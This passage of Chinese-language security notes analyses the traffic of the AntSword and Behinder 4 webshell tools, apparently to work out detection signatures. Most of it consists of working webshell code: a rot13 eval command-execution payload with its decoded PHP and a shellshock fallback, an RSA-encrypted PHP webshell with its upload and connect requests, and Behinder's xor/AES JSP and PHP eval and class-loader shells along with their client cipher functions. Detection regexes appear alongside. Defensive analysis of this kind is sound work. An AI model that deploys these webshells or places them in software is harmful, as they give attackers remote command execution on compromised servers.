Connection: closeant=%40eval(%40str_rot13(%24_POST%5B's35d294f6a1f89'%5D))%3B&s35d294f6a1f89=%40vav_frg(%22qvfcynl_reebef%22%2C%20%220%22)%3B%40frg_gvzr_yvzvg(0)%3B%24bcqve%3D%40vav_trg(%22bcra_onfrqve%22)%3Bvs(%24bcqve)%20%7B%24bpjq%3Dqveanzr(%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D)%3B%24bcnee%3Dcert_fcyvg(onfr64_qrpbqr(%22Ymg8Bv8%3D%22)%2C%24bcqve)%3B%40neenl_chfu(%24bcnee%2C%24bpjq%2Cflf_trg_grzc_qve())%3Bsbernpu(%24bcnee%20nf%20%24vgrz)%20%7Bvs(!%40vf_jevgnoyr(%24vgrz))%7Bpbagvahr%3B%7D%3B%24gzqve%3D%24vgrz.%22%2F.qn57pr453796%22%3B%40zxqve(%24gzqve)%3Bvs(!%40svyr_rkvfgf(%24gzqve))%7Bpbagvahr%3B%7D%24gzqve%3Dernycngu(%24gzqve)%3B%40puqve(%24gzqve)%3B%40vav_frg(%22bcra_onfrqve%22%2C%20%22..%22)%3B%24pagnee%3D%40cert_fcyvg(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24gzqve)%3Bsbe(%24v%3D0%3B%24v%3Cfvmrbs(%24pagnee)%3B%24v%2B%2B)%7B%40puqve(%22..%22)%3B%7D%3B%40vav_frg(%22bcra_onfrqve%22%2C%22%2F%22)%3B%40ezqve(%24gzqve)%3Boernx%3B%7D%3B%7D%3B%3Bshapgvba%20nfrap(%24bhg)%7Berghea%20%24bhg%3B%7D%3Bshapgvba%20nfbhgchg()%7B%24bhgchg%3Dbo_trg_pbagragf()%3Bbo_raq_pyrna()%3Brpub%20%223nr4%22.%22rssn2%22%3Brpub%20%40nfrap(%24bhgchg)%3Brpub%20%22o42935%22.%22346781%22%3B%7Dbo_fgneg()%3Bgel%7B%24Q%3Dqveanzr(%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D)%3Bvs(%24Q%3D%3D%22%22)%24Q%3Dqveanzr(%24_FREIRE%5B%22CNGU_GENAFYNGRQ%22%5D)%3B%24E%3D%22%7B%24Q%7D%09%22%3Bvs(fhofge(%24Q%2C0%2C1)!%3D%22%2F%22)%7Bsbernpu(enatr(%22P%22%2C%22M%22)nf%20%24Y)vs(vf_qve(%22%7B%24Y%7D%3A%22))%24E.%3D%22%7B%24Y%7D%3A%22%3B%7Dryfr%7B%24E.%3D%22%2F%22%3B%7D%24E.%3D%22%09%22%3B%24h%3D(shapgvba_rkvfgf(%22cbfvk_trgrtvq%22))%3F%40cbfvk_trgcjhvq(%40cbfvk_trgrhvq())%3A%22%22%3B%24f%3D(%24h)%3F%24h%5B%22anzr%22%5D%3A%40trg_pheerag_hfre()%3B%24E.%3Dcuc_hanzr()%3B%24E.%3D%22%09%7B%24f%7D%22%3Brpub%20%24E%3B%3B%7Dpngpu(Rkprcgvba%20%24r)%7Brpub%20%22REEBE%3A%2F%2F%22.%24r-%3EtrgZrffntr()%3B%7D%3Bnfbhgchg()%3Bqvr()%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:55:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html3ae4effa2C:/Users/sangfor/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangforb42935346781
特征:@eval(@str_rot13($_POST['s35d294f6a1f89']));
执行命令
<?php
@ini_set("display_errors", "0"); // 关闭错误显示
@set_time_limit(0); // 设置脚本执行时间为无限制
$opdir = @ini_get("open_basedir"); // 获取 open_basedir 的值
if ($opdir) { // 如果 open_basedir 被设置$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); // 将 open_basedir 的值按分隔符分割成数组@array_push($oparr, $ocwd, sys_get_temp_dir()); // 将当前目录和临时目录添加到数组中foreach ($oparr as $item) { // 遍历每个路径if (!@is_writable($item)) { // 检查路径是否可写continue; // 如果不可写,跳过}$tmdir = $item . "/.aab3ff5b3398"; // 创建一个临时目录@mkdir($tmdir); // 尝试创建临时目录if (!@file_exists($tmdir)) { // 如果临时目录不存在continue; // 跳过}$tmdir = realpath($tmdir); // 获取临时目录的真实路径@chdir($tmdir); // 切换到临时目录@ini_set("open_basedir", ".."); // 设置 open_basedir 为上级目录$cntarr = @preg_split("/\\\\|\//", $tmdir); // 将路径分割为数组for ($i = 0; $i < sizeof($cntarr); $i++) { // 遍历路径数组@chdir(".."); // 切换到上级目录}@ini_set("open_basedir", "/"); // 重置 open_basedir@rmdir($tmdir); // 删除临时目录break; // 退出循环}
}function asenc($out) { // 定义 asenc 函数return $out; // 返回输出
}function asoutput() { // 定义 asoutput 函数$output = ob_get_contents(); // 获取输出缓冲区的内容ob_end_clean(); // 清空输出缓冲区echo "86407" . "bce15"; // 输出前缀echo @asenc($output); // 输出内容echo "05741" . "7b412b"; // 输出后缀
}ob_start(); // 开始输出缓冲try {$p = base64_decode(substr($_POST["b307445bb1621a"], 2)); // 解码 POST 数据$s = base64_decode(substr($_POST["fff3beb202f45d"], 2)); // 解码 POST 数据$envstr = @base64_decode(substr($_POST["p28b7b2472e635"], 2)); // 解码环境变量$d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; // 根据目录格式设置命令if (substr($d, 0, 1) == "/") { // 如果是 Unix 系统@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); // 设置 PATH 环境变量} else { // 如果是 Windows 系统@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); // 设置 PATH 环境变量}if (!empty($envstr)) { // 如果环境变量不为空$envarr = explode("|||asline|||", $envstr); // 分割环境变量foreach ($envarr as $v) { // 遍历环境变量数组if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v)); // 设置环境变量}}}$r = "{$p} {$c}"; // 构建命令function fe($f) { // 定义 fe 函数$d = explode(",", @ini_get("disable_functions")); // 获取禁用的函数if (empty($d)) {$d = array(); // 如果没有禁用函数,初始化为空数组} else {$d = array_map('trim', array_map('strtolower', $d)); // 将禁用函数转换为小写并去除空格}return (function_exists($f) && is_callable($f) && !in_array($f, $d)); // 检查函数是否可用}function runshellshock($d, $c) { // 定义 runshellshock 函数if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { // 检查条件if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 检查是否使用 bash$tmp = tempnam(sys_get_temp_dir(), 'as'); // 创建临时文件putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); // 设置环境变量并执行命令if (fe('error_log')) {error_log("a", 1); // 记录错误日志} else {mail("a@127.0.0.1", "", "", "-bv"); // 发送邮件}} else {return False; // 如果不是 bash,返回 False}$output = @file_get_contents($tmp); // 获取命令输出@unlink($tmp); // 删除临时文件if ($output != "") {print($output); // 输出结果return True; // 返回 True}}return False; // 返回 False}function runcmd($c) { // 定义 runcmd 函数$ret = 0; // 初始化返回值$d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录if (fe('system')) {@system($c, $ret); // 使用 system 执行命令} elseif (fe('passthru')) {@passthru($c, $ret); // 使用 passthru 执行命令} elseif (fe('shell_exec')) {print(@shell_exec($c)); // 使用 shell_exec 执行命令并输出} elseif (fe('exec')) {@exec($c, $o, $ret); // 使用 exec 执行命令print(join("\n", $o)); // 输出结果} elseif (fe('popen')) {$fp = @popen($c, 'r'); // 使用 popen 打开进程while (!@feof($fp)) {print(@fgets($fp, 2048)); // 输出结果}@pclose($fp); // 关闭进程} elseif (fe('proc_open')) {$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); // 使用 proc_open 打开进程while (!@feof($io[1])) {print(@fgets($io[1], 2048)); // 输出标准输出}while (!@feof($io[2])) {print(@fgets($io[2], 2048)); // 输出标准错误}@fclose($io[1]); // 关闭标准输出@fclose($io[2]); // 关闭标准错误@proc_close($p); // 关闭进程} elseif (fe('antsystem')) {@antsystem($c); // 使用 antsystem 执行命令} elseif (runshellshock($d, $c)) {return $ret; // 如果 runshellshock 成功,返回结果} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) { // 如果是 Windows 系统并且 COM 类存在$w = new COM('WScript.shell'); // 创建 WScript.shell 对象$e = $w->exec($c); // 执行命令$so = $e->StdOut(); // 获取标准输出$ret .= $so->ReadAll(); // 读取标准输出$se = $e->StdErr(); // 获取标准错误$ret .= $se->ReadAll(); // 读取标准错误print($ret); // 输出结果} else {$ret = 127; // 返回 127 表示命令未找到}return $ret; // 返回执行结果}$ret = @runcmd($r . " 2>&1"); // 执行命令并捕获输出print($ret != 0) ? "ret={$ret}" : ""; // 如果返回值不为 0,输出结果
} catch (Exception $e) { // 捕获异常echo "ERROR://" . $e->getMessage(); // 输出错误信息
}asoutput(); // 调用 asoutput 函数
die(); // 终止脚本
&b307445bb1621a=E9Y21k&fff3beb202f45d=mtY2QgL2QgIkM6XFxVc2Vyc1xcc2FuZ2ZvclxcRGVza3RvcFxccGhwc3R1ZHkyMDE4XFxQSFBUdXRvcmlhbFxcV1dXIiZpcGNvbmZpZyZlY2hvIDJhZTY2YzI4YmImY2QmZWNobyBhMjU2ZmJkZA==&p28b7b2472e635=8t
使用system、passthru、shell_exec、exec、antsystem函数执行命令
命令被放入
$p = base64_decode(substr($_POST["b307445bb1621a"], 2)); // 解码 POST 数据
$s = base64_decode(substr($_POST["fff3beb202f45d"], 2)); // 解码 POST 数据
中,可以提取解密出来:$p为解密为cmd, $s为目录加执行的命令
b307445bb1621a=E9Y21k&fff3beb202f45d=mtY2QgL2QgIkM6XFxVc....
特征可以是:Y21k后的变量值的长度为4的倍数+2
文件上传:
文件内容使用16进制编码
RSA编码:(仅支持php)
打开RSA编码器设置-->编码管理-->新建编码器-->PHP RSA
生成编码器之后再点击RSA 配置-->生成
<?php$cmd = @$_POST['ant'];
$pk = <<<EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCWEJT9F3uIOzWCbdclMbESZKoX2d13AMPJWhA6xHAZYsPYUlJmChq7vrTsS7dz5bZwf4Nr00DqFm0WLlsk9Elin+j65CASHdjrxvUlEWYU0tctJJdFJgLsOLYvOX2c+/1PBt2MQedR4ej9DgYMaHdxmuUnSHez/NMIUfKlJPnRzQIDAQAB-----END PUBLIC KEY-----EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {$cmd .= $de;}
}
eval($cmd);
将此webshell上传后连接:
POST /rsa_php.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Content-Length: 2808
Connection: closeant=tUOuE3iZlLIrBUtL6nyTFabqW0aScu1P9qoZS2eF2Tqa6zx%2F5HuNBi87B06hOICOMg5uh9PfzyBEHlRHdyMckUstZ%2FVlJZ0dP3oEsE06GUfeSDZF%2BvEs%2FUzu14xSAcU1A25lCsVqhXvRrhPBEp9mH6eEfcrOanI9wPyFkRpjBuE%3D%7Ccd46ISiiFRiXQOgpjWHiLD7EaizSPdZJNpwAszcYOihkK7ogiy0swPYkERlqSxuDm1yEn1psI3ssAUMX5ikGXZs5XCZFGkQZUE2KzCRVoBvQDZG8r2Ck5WAFbyGeD4NCBQGvM7%2Fsvbo5Q8jL4ErU%2FqbEwoXmjaaiCkxdrEJRs1Q%3D%7CKYAfis%2Bm02lHL2YoVgYFGQncJXnRKXkdsyS6bFJ1B4INpoEgCb258U7WFsFvX3Y9vxEUxSb5t%2BGexoeqC6HjLgsqJraDYR0g0N9i%2BGWCbWmIEQ1wpLGky21%2BEZEa1khGZTE%2Fs1jyGo3smXhPNuaaUrKeNUhrap%2Fbs%2FGMrRVKT2Y%3D%7CHONxx59tkRiw35l1ENoA3c51SOU7gCOqpRqVEI4rUV0puh5bW0eQ68ddBmxIIXnpr3txnS2zXdYsfgs%2BnG6duqG5G2A6YEmZomfXVMZU1kthzDC2qJlz8IFclGvIOVdpZdCMFOyV1r%2Fzj5C%2BPKg9Vo5FZNtyoiG%2BWBOT5m%2F4bXo%3D%7Cm5DzPABDKtwDzfIDLiOQ5sYjjS1OPh1lN3ypOImOsYcqGPLNcwB0tpsGsCAbXuAuisMy3Bx2wEyOBLJ%2BGmoVzP3WCjgdRilmdLfsJgZmRsKwJ1iUbNSzKOek4SYf%2Bt3K2Hg626B3rXHUBhn2QZ9GqAbPaol%2BuMJpkNkUFO7xH4E%3D%7CyX3iXL1j8tVluKj9A%2BvAaX2p8Ub9Df3TwIlDioCwYeBSVgeQsZWBvgUXuF2WImgyuVG9GtZFopLr9dsB0XFoY4UCCeiYssyEn9hItaeUq38ILHK%2FT8WqoU1u9S%2BezDo%2FZKwxXyx1oyljScwbzdPVWAnJUEODEDzgL1PijmKcie4%3D%7CGiQDYAK7xhv9XIDmLCSzf52SqV8YSAudRS9JvGRb%2FzHJZB2a%2BgQC1hycsnax5w2VvrFy1PyytucujBO9MZ%2FRDYxezK8EJGCRFAWckVlYB93RHOhsjFqqDN1FZZHTu%2F3X%2BFDe7tNKcEQ1diDj%2F7E8%2FjFGgVr1PB0TN22Q%2BTma8yg%3D%7CnUQNSKkYO%2FJvWu3yQhcVmKF%2BNLYcVCwLJ6UdJcs6Y75OnLagPsEjPqVCgTtUJsEBHSt0Ty7uAdwmbxjnli4u%2Fh8OKFl16yKJhL7r%2FgE5H%2F%2BVfrSbjAI%2FjrrNZkrrW5J8S%2B0ZN7VC8Dp3DUTmft6GjAOmRdO%2FrEVv1iKNLzVVrn4%3D%7CXEmsRuuOuaDSpENOBCzsPS8dHtPBfg3T9IMtgK3OT2i72dJXa%2FP%2FlN9hf7Bzsrt7hLKc%2F%2FeV9DxPWbXeMaGN3Hc9MhfXSiWsgOoE0wIOxrZ0uDfMk8ObjFGv%2BKbVofJ8LJ14lrKyLqfU2vV37gpLU7tmR19hOhSefVadUH%2B6r1o%3D%7CdTKVs0E3EE7%2BdvuDKqZZy7ifBpuNnEfUEGeSxD1s6ji2yUzw6bqCRHzAmE6J1QqVhqiwdjqKu5qYk0Odwq8d3T%2Fwxw6Z8bNTeoCuRsogjmUpitVL%2BvYeT%2FfP4QnB77FJVyBBFNNO1VBQkz6G1sBYilLVOMcrYoWMHZNzLhMiMhk%3D%7CBUk992sl09tHfnenETQ1hBT%2BtTgM5fE7AjY729djokzfnuRlF1%2ByzuXQHzQD5KX8BzZwXEwzPTT0TBzd3bc57NEECFLsXTMLREkUbv0xWqzVPj179FioDYrLzaLYkAaEDRgiB7By2UzGBU83MT75Vja0%2Bjx6JJAHBqp71xZRAIU%3D%7CPsxa78BZ6g2Tle8NaFKWNSdSFFycQ8BRLq1M5k7jhM%2FKW6azwOMtGKSDKvU7Hm7eughbuQlNtiHVJv%2BElHBn5qxCBr%2BqGJjUKH6ffsmbrMs52fxVwkPSJp%2FdqZhnfPixxX12Ryxsz8yduf%2BCSlvlB%2FgXLVU3FTLAW9Vd3I7%2FPTA%3D%7CVTBqaKARxRK0PEr%2Bd8QFTYaCcE7vDNQ3G20dluhPoSnu0OC3O0xid4LIh57W7aM8ITGZnhlkSPtmzOOLWnQFj4SOTm8peJrGgyxktOtDzVjBXPRt0f82Jmv0Ek%2BB1HAml3qGf%2BdDGjz4wdboMc6b1NdxZHyoizun9UZ5C93hFT8%3D%7Ccpow0xrTLzGycLCMbXQ7U80Q1yHfcijKnI%2BTT88oEw5pkrxuuu1RC0RE6wnlrcRZh7zXi9T0paAqXvfBH0kqPFqgqzkCwdBxfLC%2BkwgblZUUW%2BMT6Iav8Hxj7Kh0%2F1SP7gMNDNtpLeqzNcOeLoyuQqbPbQyz5hEUclkP%2B6FiKTU%3D%7CXjlO1XcHqWep1aBbW%2B32Tyi0L7M6sCrryo4FLIhv%2BDLv4kdC1pXr1PhXMeOtp1mUB9mIq8BcDq8AqNs61D5LshxAFMSwhN52Fev9b2WY%2FdsqG54occfMDFVAoV9zC0zoQ5gf%2F%2FhshFLXMZmpAd7N3zrNIfL2IvXdSQQx0%2B7E5N8%3D
如果php没有开启OpenSSL则会连接报错
HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 03:11:25 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 181
Connection: close
Content-Type: text/html<br />
<b>Fatal error</b>: Call to undefined function openssl_pkey_get_public() in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\rsa_php.php</b> on line <b>12</b><br />
正常连接返回
Date: Tue, 15 Oct 2024 02:55:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html3ae4effa2C:/Users/sangfor/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangforb42935346781
可以看到请求无明显特征,看看是怎么加密的
/*** php::RSA编码器* Create at: 2024/10/15 10:58:53*/'use strict';/** @param {String} pwd 连接密码* @param {Array} data 编码器处理前的 payload 数组* @return {Array} data 编码器处理后的 payload 数组*/
module.exports = (pwd, data, ext={}) => {let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []for (var i = 0; n > i; i++) {r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));}data[pwd] = r.join("|");
delete data['_'];
return data;
}
可以看到每块数据使用了|进行连接,此时可以判断请求是否有base64编码且有多个|,且每个|之间的字符长度一样为172
使用rsa可能对目前环境要求高,但是请求没有明显特征
流量特征
冰蝎4
原理
//如何通过自定义class字节流调用函数执行命令
//classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法
//动态将class字节流编译执行,并调用重写的方法
import sun.misc.BASE64Decoder;
public class javawebshelltest {public static class Myloader extends ClassLoader //继承ClassLoader{public Class get(byte[] b){return super.defineClass(b, 0, b.length);}}public static void main(String[] args) throws Exception {// TODO Auto-generated method stubString classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";BASE64Decoder code=new sun.misc.BASE64Decoder();Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数System.out.println(result.newInstance().toString()); // classStr重写了toString函数,弹用了计算器System.out.println(result.toString());}
}
//toString方法内部没办法访问Request、Response、Seesion等servlet相关对象
//查看Object中类所有的方法,发现equals方法可以传入一个object,可以将pageContext传入进去,通过pageContext可以调用Request、Response、Seesion等
//ClassLoader和pageContext类不在同一路径会导致在equals中访问这些类会出现java.lang.ClassNotFoundException异常,可以增加一个构造函数,将ClassLoader 传入进去,将自定义传入的类作为父类加载器,这样就可以通过自定义类找到其他类,而不是使用ClassLoader类型去查找
<%@ pageimport="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {public Myloader(ClassLoader c) {super(c);} // 调用父类构造函数,传入当前的类加载器public Class get(byte[] b) { // 定义get方法,用来将指定的byte[]传给父类的defineClassreturn super.defineClass(b, 0, b.length); // 调用父类的defineClass方法,将字节数组转换为Class对象}
}
%>
<%if (request.getParameter("pass")!=null) { // 判断请求方法是否带有密码的握手请求,此处只用参数名作为密码,参数值可以任意指定String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); // 随机生成一个16字节的密钥request.getSession().setAttribute("uid", k); // 将密钥写入当前会话的Session中out.print(k); // 将密钥发送给客户端return; // 执行流返回,握手请求时,只产生密钥,后续的代码不再执行}/*当请求为非握手请求时,执行下面的分支,准备解密数据并执行*/String uploadString= request.getReader().readLine(); // 从request中取出客户端传过来的加密payloadByte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); // 把payload进行base64解码Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); // 从Session中取出密钥并初始化解密模式Byte[] classData= c.doFinal(encryptedData); // AES解密操作,得到原始的class字节数组Object myLoader= new Myloader().get(classData).newInstance(); // 通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化String result= myLoader.equals(pageContext); // 调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中,将执行结果通过equals中利用response对象返回。
%>
php
<?php
// 开始一个新的会话或继续现有的会话
session_start();// 检查 URL 中是否存在 'pass' 参数
if (isset($_GET['pass'])) {// 生成一个随机的密钥,使用 md5 和 uniqid 组合$key = substr(md5(uniqid(rand())), 16);// 将生成的密钥存储在会话变量中$_SESSION['k'] = $key;// 输出生成的密钥print $key;
} else {// 从会话中获取之前存储的密钥$key = $_SESSION['k'];// 从请求的输入流中读取加密内容并进行解密$decrptContent = openssl_decrypt(file_get_contents("php://input"), "AES128", $key);// 将解密后的内容按 '|' 分割成数组$arr = explode('|', $decrptContent);// 获取数组中的第一个元素作为函数名$func = $arr[0];// 获取数组中的第二个元素作为参数$params = $arr[1];// 调用函数并传递参数$func($params);
}
?>
冰蝎一句话加密函数分析
xor
php
<?php
// 关闭错误报告,避免显示任何错误信息
@error_reporting(0);// 从输入流中读取数据并进行解密,从请求的原始输入流中读取数据,通常用于获取 POST 请求的内容。
$post = Decrypt(file_get_contents("php://input"));// 执行解密后的代码
eval($post);
?>
jsp
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{// 定义一个密钥,用于解密操作String key="e45e329feb5d925b";// 遍历输入的字节数组for (int i = 0; i < data.length; i++) {// 使用异或操作解密数据,key.getBytes()[i + 1 & 15] 取密钥的字节data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));}// 返回解密后的字节数组return data;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){returnsuper.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){// 创建一个字节数组输出流,用于存储读取到的数据ByteArrayOutputStream bos = new ByteArrayOutputStream();// 定义一个缓冲区,大小为512字节byte[] buf = new byte[512];// 从请求输入流中读取数据,返回读取的字节数int length=request.getInputStream().read(buf);// 当读取到的数据长度大于0时,继续读取while (length>0){// 复制当前读取到的字节数据byte[] data= Arrays.copyOfRange(buf,0,length);// 将读取到的数据写入字节数组输出流bos.write(data);// 继续从输入流中读取数据length=request.getInputStream().read(buf);}/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性out.clear();out=pageContext.pushBody();*/// 清空输出流out.clear();// 将当前页面上下文推入输出流out=pageContext.pushBody();// 使用自定义类加载器 U 解密读取到的字节数据,并实例化该类new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);
}
%>
xor_base64
php
<?php
@error_reporting(0); // 关闭错误报告,避免在执行过程中显示错误信息function Decrypt($data) // 定义一个名为 Decrypt 的函数,接受一个参数 $data
{$key="e45e329feb5d925b"; // 定义一个密钥,用于解密$bs="base64_"."decode"; // 创建一个字符串,表示 base64 解码函数的名称$after=$bs($data.""); // 对输入的数据进行 base64 解码,并将结果赋值给 $afterfor($i=0;$i<strlen($after);$i++) { // 遍历解码后的字符串$after[$i] = $after[$i]^$key[$i+1&15]; // 使用异或运算对每个字符进行解密,密钥的索引通过与运算限制在 0-15 之间}return $after; // 返回解密后的字符串
}$post=Decrypt(file_get_contents("php://input")); // 从输入流中读取数据,解密后赋值给 $post
eval($post); // 执行解密后的 PHP 代码
?>
安装使用
在传输协议中选择协议名称,然后生成服务端,这个就是webshell
上传后进行连接,选择自定义,密码就是webshell中的密钥
连接成功后会执行phpinfo并返回
冰蝎首先会发起一个测试连接
可根据
['request_url']: \.(php|jsp|asp|jspx|asa)\?(\w){1,15}=\d{2,3}$
['response_body']: [a-z0-9]{16}$
进行特征识别
流量分析
传输协议使用xor_base64进行分析,客户端的加解密函数对asp jsp php 都是一样的,使用PHP环境进行分析
服务端解密webshell:
<?php
@error_reporting(0); // 关闭错误报告,避免在执行过程中显示错误信息function Decrypt($data) // 定义一个名为 Decrypt 的函数,接受一个参数 $data
{$key="e45e329feb5d925b"; // 定义一个密钥,用于解密$bs="base64_"."decode"; // 创建一个字符串,表示 base64 解码函数的名称$after=$bs($data.""); // 对输入的数据进行 base64 解码,并将结果赋值给 $afterfor($i=0;$i<strlen($after);$i++) { // 遍历解码后的字符串$after[$i] = $after[$i]^$key[$i+1&15]; // 使用异或运算对每个字符进行解密,密钥的索引通过与运算限制在 0-15 之间}return $after; // 返回解密后的字符串
}$post=Decrypt(file_get_contents("php://input")); // 从输入流中读取数据,解密后赋值给 $post
eval($post); // 执行解密后的 PHP 代码
?>
客户端加密函数
private byte[] Encrypt(byte[] data) throws Exception
{// 定义一个密钥,长度为16个字节(128位)String key = "e45e329feb5d925b";// 对输入的字节数组进行异或加密for (int i = 0; i < data.length; i++) {// 将每个字节与密钥的相应字节进行异或操作// key.getBytes()[i + 1 & 15] 取密钥的字节,使用 & 15 确保索引在 0 到 15 之间循环data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));}byte[] encrypted; // 声明一个字节数组用于存储加密后的数据Class baseCls; // 声明一个 Class 对象用于反射try{// 尝试使用 java.util.Base64 类进行 Base64 编码baseCls = Class.forName("java.util.Base64");Object Encoder = baseCls.getMethod("getEncoder", null).invoke(baseCls, null);// 调用 Base64 编码器的 encode 方法对加密后的数据进行编码encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});}catch (Throwable error){// 如果 java.util.Base64 不可用,则使用 sun.misc.BASE64Encoder 作为备选方案baseCls = Class.forName("sun.misc.BASE64Encoder");Object Encoder = baseCls.newInstance();// 调用 BASE64Encoder 的 encode 方法进行编码String result = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});// 去除编码结果中的换行符result = result.replace("\n", "").replace("\r", "");// 将结果转换为字节数组encrypted = result.getBytes();}// 返回加密并编码后的字节数组return encrypted;
}
客户端解密函数
private byte[] Decrypt(byte[] data) throws Exception
{// 声明一个字节数组,用于存储解码后的字节byte[] decodebs;// 声明一个类对象,用于动态加载类Class baseCls;try {// 尝试加载 java.util.Base64 类baseCls = Class.forName("java.util.Base64");// 获取 Base64 类的解码器实例Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);// 使用解码器对输入的字节数组进行解码decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});} catch (Throwable e) {// 如果加载 java.util.Base64 失败,尝试加载 sun.misc.BASE64Decoder 类baseCls = Class.forName("sun.misc.BASE64Decoder");// 创建 BASE64Decoder 的实例Object Decoder = baseCls.newInstance();// 使用 BASE64Decoder 对输入的字节数组进行解码,注意这里需要将字节数组转换为字符串decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});}// 